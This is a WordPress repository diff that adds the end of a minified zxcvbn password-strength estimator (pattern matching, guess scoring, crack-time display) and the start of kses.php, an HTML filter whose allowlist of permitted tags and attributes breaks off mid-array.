+var DATE_MAX_YEAR,DATE_MIN_YEAR,DATE_SPLITS,GRAPHS,L33T_TABLE,RANKED_DICTIONARIES,REGEXEN,adjacency_graphs,build_ranked_dict,frequency_lists,lst,matching,name,rot_13,scoring;frequency_lists=require("./frequency_lists"),adjacency_graphs=require("./adjacency_graphs"),scoring=require("./scoring"),rot_13=function(e){return e.replace(/[a-zA-Z]/g,function(e){return String.fromCharCode((e<="Z"?90:122)>=(e=e.charCodeAt(0)+13)?e:e-26)})},build_ranked_dict=function(e){var t,n,r,i,a;for(i={},t=1,r=0,n=e.length;r<n;r++)a=e[r],i[a]=t,t+=1;return i},RANKED_DICTIONARIES={};for(name in frequency_lists)lst=frequency_lists[name],RANKED_DICTIONARIES[name]=build_ranked_dict(lst);GRAPHS={qwerty:adjacency_graphs.qwerty,dvorak:adjacency_graphs.dvorak,keypad:adjacency_graphs.keypad,mac_keypad:adjacency_graphs.mac_keypad},L33T_TABLE={a:["4","@"],b:["8"],c:["(","{","[","<"],e:["3"],g:["6","9"],i:["1","!","|"],l:["1","|","7"],o:["0"],s:["$","5"],t:["+","7"],x:["%"],z:["2"]},REGEXEN={recent_year:/19\d\d|200\d|201\d/g},DATE_MAX_YEAR=2050,DATE_MIN_YEAR=1e3,DATE_SPLITS={4:[[1,2],[2,3]],5:[[1,3],[2,3]],6:[[1,2],[2,4],[4,5]],7:[[1,3],[2,3],[4,5],[4,6]],8:[[2,4],[4,6]]},matching={empty:function(e){var t;return 0===function(){var n;n=[];for(t in e)n.push(t);return n}().length},extend:function(e,t){return e.push.apply(e,t)},translate:function(e,t){var n;return function(){var r,i,a,s;for(a=e.split(""),s=[],i=0,r=a.length;i<r;i++)n=a[i],s.push(t[n]||n);return s}().join("")},mod:function(e,t){return(e%t+t)%t},sorted:function(e){return e.sort(function(e,t){return e.i-t.i||e.j-t.j})},omnimatch:function(e){var t,n,r,i,a;for(i=[],r=[this.dictionary_match,this.reverse_dictionary_match,this.l33t_match,this.spatial_match,this.repeat_match,this.sequence_match,this.regex_match,this.date_match],a=0,t=r.length;a<t;a++)n=r[a],this.extend(i,n.call(this,e));return this.sorted(i)},dictionary_match:function(e,t){var n,r,i,a,s,o,h,u,c,l,_,f,d,p;null==t&&(t=RANKED_DICTIONARIES),s=[],a=e.length,u=e.toLowerCase(),u=rot_13(u);for(n in t)for(l=t[n],r=o=0,_=a;0<=_?o<_:o>_;r=0<=_?++o:--o)for(i=h=f=r,d=a;f<=d?h<d:h>d;i=f<=d?++h:--h)u.slice(r,+i+1||9e9)in l&&(p=u.slice(r,+i+1||9e9),c=l[p],s.push({pattern:"dictionary",i:r,j:i,token:e.slice(r,+i+1||9e9),matched_word:rot_13(p),rank:c,dictionary_name:n,reversed:!1,l33t:!1}));return this.sorted(s)},reverse_dictionary_match:function(e,t){var n,r,i,a,s,o;for(null==t&&(t=RANKED_DICTIONARIES),o=e.split("").reverse().join(""),i=this.dictionary_match(o,t),a=0,n=i.length;a<n;a++)r=i[a],r.token=r.token.split("").reverse().join(""),r.reversed=!0,s=[e.length-1-r.j,e.length-1-r.i],r.i=s[0],r.j=s[1];return this.sorted(i)},set_user_input_dictionary:function(e){return RANKED_DICTIONARIES.user_inputs=build_ranked_dict(e.slice())},relevant_l33t_subtable:function(e,t){var n,r,i,a,s,o,h,u,c,l;for(s={},o=e.split(""),a=0,r=o.length;a<r;a++)n=o[a],s[n]=!0;l={};for(i in t)c=t[i],h=function(){var e,t,n;for(n=[],t=0,e=c.length;t<e;t++)u=c[t],u in s&&n.push(u);return n}(),h.length>0&&(l[i]=h);return l},enumerate_l33t_subs:function(e){var t,n,r,i,a,s,o,h,u,c,l,_,f,d,p;a=function(){var t;t=[];for(i in e)t.push(i);return t}(),p=[[]],n=function(e){var t,n,r,a,s,o,h,u;for(n=[],s={},o=0,a=e.length;o<a;o++)h=e[o],t=function(){var e,t,n;for(n=[],u=t=0,e=h.length;t<e;u=++t)i=h[u],n.push([i,u]);return n}(),t.sort(),r=function(){var e,n,r;for(r=[],u=n=0,e=t.length;n<e;u=++n)i=t[u],r.push(i+","+u);return r}().join("-"),r in s||(s[r]=!0,n.push(h));return n},r=function(t){var i,a,s,o,h,u,c,l,_,f,d,g,m,A,E,y;if(t.length){for(a=t[0],m=t.slice(1),c=[],d=e[a],l=0,h=d.length;l<h;l++)for(o=d[l],_=0,u=p.length;_<u;_++){for(A=p[_],i=-1,s=f=0,g=A.length;0<=g?f<g:f>g;s=0<=g?++f:--f)if(A[s][0]===o){i=s;break}i===-1?(y=A.concat([[o,a]]),c.push(y)):(E=A.slice(0),E.splice(i,1),E.push([o,a]),c.push(A),c.push(E))}return p=n(c),r(m)}},r(a),d=[];for(u=0,o=p.length;u<o;u++){for(_=p[u],f={},c=0,h=_.length;c<h;c++)l=_[c],s=l[0],t=l[1],f[s]=t;d.push(f)}return d},l33t_match:function(e,t,n){var r,i,a,s,o,h,u,c,l,_,f,d,p,g,m,A;for(null==t&&(t=RANKED_DICTIONARIES),null==n&&(n=L33T_TABLE),u=[],_=this.enumerate_l33t_subs(this.relevant_l33t_subtable(e,n)),c=0,a=_.length;c<a&&(d=_[c],!this.empty(d));c++)for(g=this.translate(e,d),f=this.dictionary_match(g,t),l=0,s=f.length;l<s;l++)if(o=f[l],m=e.slice(o.i,+o.j+1||9e9),m.toLowerCase()!==o.matched_word){h={};for(p in d)r=d[p],m.indexOf(p)!==-1&&(h[p]=r);o.l33t=!0,o.token=m,o.sub=h,o.sub_display=function(){var e;e=[];for(i in h)A=h[i],e.push(i+" -> "+A);return e}().join(", "),u.push(o)}return this.sorted(u.filter(function(e){return e.token.length>1}))},spatial_match:function(e,t){var n,r,i;null==t&&(t=GRAPHS),i=[];for(r in t)n=t[r],this.extend(i,this.spatial_match_helper(e,n,r));return this.sorted(i)},SHIFTED_RX:/[~!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:"ZXCVBNM<>?]/,spatial_match_helper:function(e,t,n){var r,i,a,s,o,h,u,c,l,_,f,d,p,g,m;for(f=[],u=0;u<e.length-1;)for(c=u+1,l=null,m=0,g="qwerty"!==n&&"dvorak"!==n||!this.SHIFTED_RX.exec(e.charAt(u))?0:1;;){if(p=e.charAt(c-1),o=!1,h=-1,s=-1,i=t[p]||[],c<e.length)for(a=e.charAt(c),d=0,_=i.length;d<_;d++)if(r=i[d],s+=1,r&&r.indexOf(a)!==-1){o=!0,h=s,1===r.indexOf(a)&&(g+=1),l!==h&&(m+=1,l=h);break}if(!o){c-u>2&&f.push({pattern:"spatial",i:u,j:c-1,token:e.slice(u,c),graph:n,turns:m,shifted_count:g}),u=c;break}c+=1}return f},repeat_match:function(e){var t,n,r,i,a,s,o,h,u,c,l,_,f,d,p;for(d=[],a=/(.+)\1+/g,c=/(.+?)\1+/g,l=/^(.+?)\1+$/,u=0;u<e.length&&(a.lastIndex=c.lastIndex=u,s=a.exec(e),_=c.exec(e),null!=s);)s[0].length>_[0].length?(f=s,i=l.exec(f[0])[1]):(f=_,i=f[1]),p=[f.index,f.index+f[0].length-1],o=p[0],h=p[1],t=scoring.most_guessable_match_sequence(i,this.omnimatch(i)),r=t.sequence,n=t.guesses,d.push({pattern:"repeat",i:o,j:h,token:f[0],base_token:i,base_guesses:n,base_matches:r,repeat_count:f[0].length/i.length}),u=h+1;return d},MAX_DELTA:5,sequence_match:function(e){var t,n,r,i,a,s,o,h,u;if(1===e.length)return[];for(u=function(t){return function(n,r,i){var a,s,o,u;if((r-n>1||1===Math.abs(i))&&0<(a=Math.abs(i))&&a<=t.MAX_DELTA)return u=e.slice(n,+r+1||9e9),/^[a-z]+$/.test(u)?(s="lower",o=26):/^[A-Z]+$/.test(u)?(s="upper",o=26):/^\d+$/.test(u)?(s="digits",o=10):(s="unicode",o=26),h.push({pattern:"sequence",i:n,j:r,token:e.slice(n,+r+1||9e9),sequence_name:s,sequence_space:o,ascending:i>0})}}(this),h=[],n=0,a=null,i=s=1,o=e.length;1<=o?s<o:s>o;i=1<=o?++s:--s)t=e.charCodeAt(i)-e.charCodeAt(i-1),null==a&&(a=t),t!==a&&(r=i-1,u(n,r,a),n=r,a=t);return u(n,e.length-1,a),h},regex_match:function(e,t){var n,r,i,a;null==t&&(t=REGEXEN),n=[];for(name in t)for(r=t[name],r.lastIndex=0;i=r.exec(e);)a=i[0],n.push({pattern:"regex",token:a,i:i.index,j:i.index+i[0].length-1,regex_name:name,regex_match:i});return this.sorted(n)},date_match:function(e){var t,n,r,i,a,s,o,h,u,c,l,_,f,d,p,g,m,A,E,y,v,I,R,T,D,k,x,j,b,N,S,q,C,L;for(_=[],f=/^\d{4,8}$/,d=/^(\d{1,4})([\s\/\\_.-])(\d{1,2})\2(\d{1,4})$/,s=m=0,v=e.length-4;0<=v?m<=v:m>=v;s=0<=v?++m:--m)for(o=A=I=s+3,R=s+7;(I<=R?A<=R:A>=R)&&!(o>=e.length);o=I<=R?++A:--A)if(L=e.slice(s,+o+1||9e9),f.exec(L)){for(r=[],T=DATE_SPLITS[L.length],E=0,c=T.length;E<c;E++)D=T[E],h=D[0],u=D[1],a=this.map_ints_to_dmy([parseInt(L.slice(0,h)),parseInt(L.slice(h,u)),parseInt(L.slice(u))]),null!=a&&r.push(a);if(r.length>0){for(t=r[0],p=function(e){return Math.abs(e.year-scoring.REFERENCE_YEAR)},g=p(r[0]),k=r.slice(1),y=0,l=k.length;y<l;y++)n=k[y],i=p(n),i<g&&(x=[n,i],t=x[0],g=x[1]);_.push({pattern:"date",token:L,i:s,j:o,separator:"",year:t.year,month:t.month,day:t.day})}}for(s=q=0,j=e.length-6;0<=j?q<=j:q>=j;s=0<=j?++q:--q)for(o=C=b=s+5,N=s+9;(b<=N?C<=N:C>=N)&&!(o>=e.length);o=b<=N?++C:--C)L=e.slice(s,+o+1||9e9),S=d.exec(L),null!=S&&(a=this.map_ints_to_dmy([parseInt(S[1]),parseInt(S[3]),parseInt(S[4])]),null!=a&&_.push({pattern:"date",token:L,i:s,j:o,separator:S[2],year:a.year,month:a.month,day:a.day}));return this.sorted(_.filter(function(e){var t,n,r,i;for(t=!1,i=0,n=_.length;i<n;i++)if(r=_[i],e!==r&&r.i<=e.i&&r.j>=e.j){t=!0;break}return!t}))},map_ints_to_dmy:function(e){var t,n,r,i,a,s,o,h,u,c,l,_,f,d,p,g;if(!(e[1]>31||e[1]<=0)){for(o=0,h=0,p=0,s=0,r=e.length;s<r;s++){if(n=e[s],99<n&&n<DATE_MIN_YEAR||n>DATE_MAX_YEAR)return;n>31&&(h+=1),n>12&&(o+=1),n<=0&&(p+=1)}if(!(h>=2||3===o||p>=2)){for(c=[[e[2],e.slice(0,2)],[e[0],e.slice(1,3)]],u=0,i=c.length;u<i;u++)if(_=c[u],g=_[0],d=_[1],DATE_MIN_YEAR<=g&&g<=DATE_MAX_YEAR)return t=this.map_ints_to_dm(d),null!=t?{year:g,month:t.month,day:t.day}:void 0;for(l=0,a=c.length;l<a;l++)if(f=c[l],g=f[0],d=f[1],t=this.map_ints_to_dm(d),null!=t)return g=this.two_to_four_digit_year(g),{year:g,month:t.month,day:t.day}}}},map_ints_to_dm:function(e){var t,n,r,i,a,s;for(a=[e,e.slice().reverse()],i=0,n=a.length;i<n;i++)if(s=a[i],t=s[0],r=s[1],1<=t&&t<=31&&1<=r&&r<=12)return{day:t,month:r}},two_to_four_digit_year:function(e){return e>99?e:e>50?e+1900:e+2e3}},module.exports=matching;
+
+},{"./adjacency_graphs":1,"./frequency_lists":3,"./scoring":6}],6:[function(require,module,exports){
+var BRUTEFORCE_CARDINALITY,MIN_GUESSES_BEFORE_GROWING_SEQUENCE,MIN_SUBMATCH_GUESSES_MULTI_CHAR,MIN_SUBMATCH_GUESSES_SINGLE_CHAR,adjacency_graphs,calc_average_degree,k,scoring,v;adjacency_graphs=require("./adjacency_graphs"),calc_average_degree=function(e){var t,r,n,s,a,u;t=0;for(n in e)a=e[n],t+=function(){var e,t,r;for(r=[],t=0,e=a.length;t<e;t++)s=a[t],s&&r.push(s);return r}().length;return t/=function(){var t;t=[];for(r in e)u=e[r],t.push(r);return t}().length},BRUTEFORCE_CARDINALITY=10,MIN_GUESSES_BEFORE_GROWING_SEQUENCE=1e4,MIN_SUBMATCH_GUESSES_SINGLE_CHAR=10,MIN_SUBMATCH_GUESSES_MULTI_CHAR=50,scoring={nCk:function(e,t){var r,n,s,a;if(t>e)return 0;if(0===t)return 1;for(s=1,r=n=1,a=t;1<=a?n<=a:n>=a;r=1<=a?++n:--n)s*=e,s/=r,e-=1;return s},log10:function(e){return Math.log(e)/Math.log(10)},log2:function(e){return Math.log(e)/Math.log(2)},factorial:function(e){var t,r,n,s;if(e<2)return 1;for(t=1,r=n=2,s=e;2<=s?n<=s:n>=s;r=2<=s?++n:--n)t*=r;return t},most_guessable_match_sequence:function(e,t,r){var n,s,a,u,i,_,o,h,E,c,g,f,l,A,S,p,R,I,v,M,N,C,T,U;for(null==r&&(r=!1),l=e.length,f=function(){var e,t,r;for(r=[],n=e=0,t=l;0<=t?e<t:e>t;n=0<=t?++e:--e)r.push([]);return r}(),A=0,_=t.length;A<_;A++)c=t[A],f[c.j].push(c);for(I=0,o=f.length;I<o;I++)E=f[I],E.sort(function(e,t){return e.i-t.i});for(S={m:function(){var e,t,r;for(t=[],n=r=0,e=l;0<=e?r<e:r>e;n=0<=e?++r:--r)t.push({});return t}(),pi:function(){var e,t,r;for(t=[],n=r=0,e=l;0<=e?r<e:r>e;n=0<=e?++r:--r)t.push({});return t}(),g:function(){var e,t,r;for(t=[],n=r=0,e=l;0<=e?r<e:r>e;n=0<=e?++r:--r)t.push({});return t}()},T=function(t){return function(n,s){var a,u,i,_,o,h;_=n.j,o=t.estimate_guesses(n,e),s>1&&(o*=S.pi[n.i-1][s-1]),i=t.factorial(s)*o,r||(i+=Math.pow(MIN_GUESSES_BEFORE_GROWING_SEQUENCE,s-1)),h=S.g[_];for(u in h)if(a=h[u],!(u>s)&&a<=i)return;return S.g[_][s]=i,S.m[_][s]=n,S.pi[_][s]=o}}(this),s=function(e){return function(e){var t,r,n,s,a,u;for(c=g(0,e),T(c,1),a=[],t=u=1,s=e;1<=s?u<=s:u>=s;t=1<=s?++u:--u)c=g(t,e),a.push(function(){var e,s;e=S.m[t-1],s=[];for(r in e)n=e[r],r=parseInt(r),"bruteforce"!==n.pattern&&s.push(T(c,r+1));return s}());return a}}(this),g=function(t){return function(t,r){return{pattern:"bruteforce",token:e.slice(t,+r+1||9e9),i:t,j:r}}}(this),C=function(e){return function(e){var t,r,n,s,a,u,i;u=[],s=e-1,a=void 0,n=Infinity,i=S.g[s];for(r in i)t=i[r],t<n&&(a=r,n=t);for(;s>=0;)c=S.m[s][a],u.unshift(c),s=c.i-1,a--;return u}}(this),u=N=0,v=l;0<=v?N<v:N>v;u=0<=v?++N:--N){for(M=f[u],U=0,h=M.length;U<h;U++)if(c=M[U],c.i>0)for(i in S.m[c.i-1])i=parseInt(i),T(c,i+1);else T(c,1);s(u)}return R=C(l),p=R.length,a=0===e.length?1:S.g[l-1][p],{password:e,guesses:a,guesses_log10:this.log10(a),sequence:R}},estimate_guesses:function(e,t){var r,n,s;return null!=e.guesses?e.guesses:(s=1,e.token.length<t.length&&(s=1===e.token.length?MIN_SUBMATCH_GUESSES_SINGLE_CHAR:MIN_SUBMATCH_GUESSES_MULTI_CHAR),r={bruteforce:this.bruteforce_guesses,dictionary:this.dictionary_guesses,spatial:this.spatial_guesses,repeat:this.repeat_guesses,sequence:this.sequence_guesses,regex:this.regex_guesses,date:this.date_guesses},n=r[e.pattern].call(this,e),e.guesses=Math.max(n,s),e.guesses_log10=this.log10(e.guesses),e.guesses)},bruteforce_guesses:function(e){var t,r;return t=Math.pow(BRUTEFORCE_CARDINALITY,e.token.length),t===Number.POSITIVE_INFINITY&&(t=Number.MAX_VALUE),r=1===e.token.length?MIN_SUBMATCH_GUESSES_SINGLE_CHAR+1:MIN_SUBMATCH_GUESSES_MULTI_CHAR+1,Math.max(t,r)},repeat_guesses:function(e){return e.base_guesses*e.repeat_count},sequence_guesses:function(e){var t,r;return r=e.token.charAt(0),t="a"===r||"A"===r||"z"===r||"Z"===r||"0"===r||"1"===r||"9"===r?4:r.match(/\d/)?10:26,e.ascending||(t*=2),t*e.token.length},MIN_YEAR_SPACE:20,REFERENCE_YEAR:2016,regex_guesses:function(e){var t,r;if(t={alpha_lower:26,alpha_upper:26,alpha:52,alphanumeric:62,digits:10,symbols:33},e.regex_name in t)return Math.pow(t[e.regex_name],e.token.length);switch(e.regex_name){case"recent_year":return r=Math.abs(parseInt(e.regex_match[0])-this.REFERENCE_YEAR),r=Math.max(r,this.MIN_YEAR_SPACE)}},date_guesses:function(e){var t,r;return r=Math.max(Math.abs(e.year-this.REFERENCE_YEAR),this.MIN_YEAR_SPACE),t=365*r,e.separator&&(t*=4),t},KEYBOARD_AVERAGE_DEGREE:calc_average_degree(adjacency_graphs.qwerty),KEYPAD_AVERAGE_DEGREE:calc_average_degree(adjacency_graphs.keypad),KEYBOARD_STARTING_POSITIONS:function(){var e,t;e=adjacency_graphs.qwerty,t=[];for(k in e)v=e[k],t.push(k);return t}().length,KEYPAD_STARTING_POSITIONS:function(){var e,t;e=adjacency_graphs.keypad,t=[];for(k in e)v=e[k],t.push(k);return t}().length,spatial_guesses:function(e){var t,r,n,s,a,u,i,_,o,h,E,c,g,f,l,A,S,p;for("qwerty"===(E=e.graph)||"dvorak"===E?(l=this.KEYBOARD_STARTING_POSITIONS,s=this.KEYBOARD_AVERAGE_DEGREE):(l=this.KEYPAD_STARTING_POSITIONS,s=this.KEYPAD_AVERAGE_DEGREE),a=0,t=e.token.length,S=e.turns,u=_=2,c=t;2<=c?_<=c:_>=c;u=2<=c?++_:--_)for(o=Math.min(S,u-1),i=h=1,g=o;1<=g?h<=g:h>=g;i=1<=g?++h:--h)a+=this.nCk(u-1,i-1)*l*Math.pow(s,i);if(e.shifted_count)if(r=e.shifted_count,n=e.token.length-e.shifted_count,0===r||0===n)a*=2;else{for(A=0,u=p=1,f=Math.min(r,n);1<=f?p<=f:p>=f;u=1<=f?++p:--p)A+=this.nCk(r+n,u);a*=A}return a},dictionary_guesses:function(e){var t;return e.base_guesses=e.rank,e.uppercase_variations=this.uppercase_variations(e),e.l33t_variations=this.l33t_variations(e),t=e.reversed&&2||1,e.base_guesses*e.uppercase_variations*e.l33t_variations*t},START_UPPER:/^[A-Z][^A-Z]+$/,END_UPPER:/^[^A-Z]+[A-Z]$/,ALL_UPPER:/^[^a-z]+$/,ALL_LOWER:/^[^A-Z]+$/,uppercase_variations:function(e){var t,r,n,s,a,u,i,_,o,h,E,c;if(c=e.token,c.match(this.ALL_LOWER)||c.toLowerCase()===c)return 1;for(_=[this.START_UPPER,this.END_UPPER,this.ALL_UPPER],u=0,a=_.length;u<a;u++)if(h=_[u],c.match(h))return 2;for(r=function(){var e,t,r,s;for(r=c.split(""),s=[],t=0,e=r.length;t<e;t++)n=r[t],n.match(/[A-Z]/)&&s.push(n);return s}().length,t=function(){var e,t,r,s;for(r=c.split(""),s=[],t=0,e=r.length;t<e;t++)n=r[t],n.match(/[a-z]/)&&s.push(n);return s}().length,E=0,s=i=1,o=Math.min(r,t);1<=o?i<=o:i>=o;s=1<=o?++i:--i)E+=this.nCk(r+t,s);return E},l33t_variations:function(e){var t,r,n,s,a,u,i,_,o,h,E,c,g;if(!e.l33t)return 1;g=1,o=e.sub;for(E in o)if(c=o[E],s=e.token.toLowerCase().split(""),t=function(){var e,t,r;for(r=[],t=0,e=s.length;t<e;t++)n=s[t],n===E&&r.push(n);return r}().length,r=function(){var e,t,r;for(r=[],t=0,e=s.length;t<e;t++)n=s[t],n===c&&r.push(n);return r}().length,0===t||0===r)g*=2;else{for(i=Math.min(r,t),_=0,a=u=1,h=i;1<=h?u<=h:u>=h;a=1<=h?++u:--u)_+=this.nCk(r+t,a);g*=_}return g}},module.exports=scoring;
+
+},{"./adjacency_graphs":1}],7:[function(require,module,exports){
+var time_estimates;time_estimates={estimate_attack_times:function(e){var t,n,s,o;n={online_throttling_100_per_hour:e/(100/3600),online_no_throttling_10_per_second:e/10,offline_slow_hashing_1e4_per_second:e/1e4,offline_fast_hashing_1e10_per_second:e/1e10},t={};for(s in n)o=n[s],t[s]=this.display_time(o);return{crack_times_seconds:n,crack_times_display:t,score:this.guesses_to_score(e)}},guesses_to_score:function(e){var t;return t=5,e<1e3+t?0:e<1e6+t?1:e<1e8+t?2:e<1e10+t?3:4},display_time:function(e){var t,n,s,o,_,r,i,a,u,c;return i=60,r=60*i,s=24*r,a=31*s,c=12*a,n=100*c,u=e<1?[null,"less than a second"]:e<i?(t=Math.round(e),[t,t+" second"]):e<r?(t=Math.round(e/i),[t,t+" minute"]):e<s?(t=Math.round(e/r),[t,t+" hour"]):e<a?(t=Math.round(e/s),[t,t+" day"]):e<c?(t=Math.round(e/a),[t,t+" month"]):e<n?(t=Math.round(e/c),[t,t+" year"]):[null,"centuries"],o=u[0],_=u[1],null!=o&&1!==o&&(_+="s"),_}},module.exports=time_estimates;
+
+},{}]},{},[4])(4)
+});
Index: /tags/5.0.20/src/wp-includes/kses.php
===================================================================
--- /tags/5.0.20/src/wp-includes/kses.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/kses.php	(revision 56912)
@@ -0,0 +1,1985 @@
+<?php
+/**
+ * kses 0.2.2 - HTML/XHTML filter that only allows some elements and attributes
+ * Copyright (C) 2002, 2003, 2005  Ulf Harnhammar
+ *
+ * This program is free software and open source software; you can redistribute
+ * it and/or modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the License,
+ * or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+ * more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ * http://www.gnu.org/licenses/gpl.html
+ *
+ * [kses strips evil scripts!]
+ *
+ * Added wp_ prefix to avoid conflicts with existing kses users
+ *
+ * @version 0.2.2
+ * @copyright (C) 2002, 2003, 2005
+ * @author Ulf Harnhammar <http://advogato.org/person/metaur/>
+ *
+ * @package External
+ * @subpackage KSES
+ *
+ */
+
+/**
+ * You can override this in a plugin.
+ *
+ * The {@see 'wp_kses_allowed_html'} filter is more powerful and supplies context.
+ *
+ * `CUSTOM_TAGS` is not recommended and should be considered deprecated.
+ *
+ * @see wp_kses_allowed_html()
+ *
+ * @since 1.2.0
+ */
+if ( ! defined( 'CUSTOM_TAGS' ) )
+	define( 'CUSTOM_TAGS', false );
+
+// Ensure that these variables are added to the global namespace
+// (e.g. if using namespaces / autoload in the current PHP environment).
+global $allowedposttags, $allowedtags, $allowedentitynames;
+
+if ( ! CUSTOM_TAGS ) {
+	/**
+	 * Kses global for default allowable HTML tags.
+	 *
+	 * Can be override by using CUSTOM_TAGS constant.
+	 *
+	 * @global array $allowedposttags
+	 * @since 2.0.0
+	 */
+	$allowedposttags = array(
+		'address' => array(),
+		'a' => array(
+			'href' => true,
+			'rel' => true,
+			'rev' => true,
+			'name' => true,
+			'target' => true,
+			'download' => array(
+				'valueless' => 'y',
+			),
+		),
+		'abbr' => array(),
+		'acronym' => array(),
+		'area' => array(
+			'alt' => true,
+			'coords' => true,
+			'href' => true,
+			'nohref' => true,
+			'shape' => true,
+			'target' => true,
+		),
+		'article' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'aside' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'audio' => array(
+			'autoplay' => true,
+			'controls' => true,
+			'loop' => true,
+			'muted' => true,
+			'preload' => true,
+			'src' => true,
+		),
+		'b' => array(),
+		'bdo' => array(
+			'dir' => true,
+		),
+		'big' => array(),
+		'blockquote' => array(
+			'cite' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'br' => array(),
+		'button' => array(
+			'disabled' => true,
+			'name' => true,
+			'type' => true,
+			'value' => true,
+		),
+		'caption' => array(
+			'align' => true,
+		),
+		'cite' => array(
+			'dir' => true,
+			'lang' => true,
+		),
+		'code' => array(),
+		'col' => array(
+			'align' => true,
+			'char' => true,
+			'charoff' => true,
+			'span' => true,
+			'dir' => true,
+			'valign' => true,
+			'width' => true,
+		),
+		'colgroup' => array(
+			'align' => true,
+			'char' => true,
+			'charoff' => true,
+			'span' => true,
+			'valign' => true,
+			'width' => true,
+		),
+		'del' => array(
+			'datetime' => true,
+		),
+		'dd' => array(),
+		'dfn' => array(),
+		'details' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'open' => true,
+			'xml:lang' => true,
+		),
+		'div' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'dl' => array(),
+		'dt' => array(),
+		'em' => array(),
+		'fieldset' => array(),
+		'figure' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'figcaption' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'font' => array(
+			'color' => true,
+			'face' => true,
+			'size' => true,
+		),
+		'footer' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'h1' => array(
+			'align' => true,
+		),
+		'h2' => array(
+			'align' => true,
+		),
+		'h3' => array(
+			'align' => true,
+		),
+		'h4' => array(
+			'align' => true,
+		),
+		'h5' => array(
+			'align' => true,
+		),
+		'h6' => array(
+			'align' => true,
+		),
+		'header' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'hgroup' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'hr' => array(
+			'align' => true,
+			'noshade' => true,
+			'size' => true,
+			'width' => true,
+		),
+		'i' => array(),
+		'img' => array(
+			'alt' => true,
+			'align' => true,
+			'border' => true,
+			'height' => true,
+			'hspace' => true,
+			'longdesc' => true,
+			'vspace' => true,
+			'src' => true,
+			'usemap' => true,
+			'width' => true,
+		),
+		'ins' => array(
+			'datetime' => true,
+			'cite' => true,
+		),
+		'kbd' => array(),
+		'label' => array(
+			'for' => true,
+		),
+		'legend' => array(
+			'align' => true,
+		),
+		'li' => array(
+			'align' => true,
+			'value' => true,
+		),
+		'map' => array(
+			'name' => true,
+		),
+		'mark' => array(),
+		'menu' => array(
+			'type' => true,
+		),
+		'nav' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'p' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'pre' => array(
+			'width' => true,
+		),
+		'q' => array(
+			'cite' => true,
+		),
+		's' => array(),
+		'samp' => array(),
+		'span' => array(
+			'dir' => true,
+			'align' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'section' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'small' => array(),
+		'strike' => array(),
+		'strong' => array(),
+		'sub' => array(),
+		'summary' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'sup' => array(),
+		'table' => array(
+			'align' => true,
+			'bgcolor' => true,
+			'border' => true,
+			'cellpadding' => true,
+			'cellspacing' => true,
+			'dir' => true,
+			'rules' => true,
+			'summary' => true,
+			'width' => true,
+		),
+		'tbody' => array(
+			'align' => true,
+			'char' => true,
+			'charoff' => true,
+			'valign' => true,
+		),
+		'td' => array(
+			'abbr' => true,
+			'align' => true,
+			'axis' => true,
+			'bgcolor' => true,
+			'char' => true,
+			'charoff' => true,
+			'colspan' => true,
+			'dir' => true,
+			'headers' => true,
+			'height' => true,
+			'nowrap' => true,
+			'rowspan' => true,
+			'scope' => true,
+			'valign' => true,
+			'width' => true,
+		),
+		'textarea' => array(
+			'cols' => true,
+			'rows' => true,
+			'disabled' => true,
+			'name' => true,
+			'readonly' => true,
+		),
+		'tfoot' => array(
+			'align' => true,
+			'char' => true,
+			'charoff' => true,
+			'valign' => true,
+		),
+		'th' => array(
+			'abbr' => true,
+			'align' => true,
+			'axis' => true,
+			'bgcolor' => true,
+			'char' => true,
+			'charoff' => true,
+			'colspan' => true,
+			'headers' => true,
+			'height' => true,
+			'nowrap' => true,
+			'rowspan' => true,
+			'scope' => true,
+			'valign' => true,
+			'width' => true,
+		),
+		'thead' => array(
+			'align' => true,
+			'char' => true,
+			'charoff' => true,
+			'valign' => true,
+		),
+		'title' => array(),
+		'tr' => array(
+			'align' => true,
+			'bgcolor' => true,
+			'char' => true,
+			'charoff' => true,
+			'valign' => true,
+		),
+		'track' => array(
+			'default' => true,
+			'kind' => true,
+			'label' => true,
+			'src' => true,
+			'srclang' => true,
+		),
+		'tt' => array(),
+		'u' => array(),
+		'ul' => array(
+			'type' => true,
+		),
+		'ol' => array(
+			'start' => true,
+			'type' => true,
+			'reversed' => true,
+		),
+		'var' => array(),
+		'video' => array(
+			'autoplay' => true,
+			'controls' => true,
+			'height' => true,
+			'loop' => true,
+			'muted' => true,
+			'poster' => true,
+			'preload' => true,
+			'src' => true,
+			'width' => true,
+		),
+	);
+
+	/**
+	 * Kses allowed HTML elements.
+	 *
+	 * @global array $allowedtags
+	 * @since 1.0.0
+	 */
+	$allowedtags = array(
+		'a' => array(
+			'href' => true,
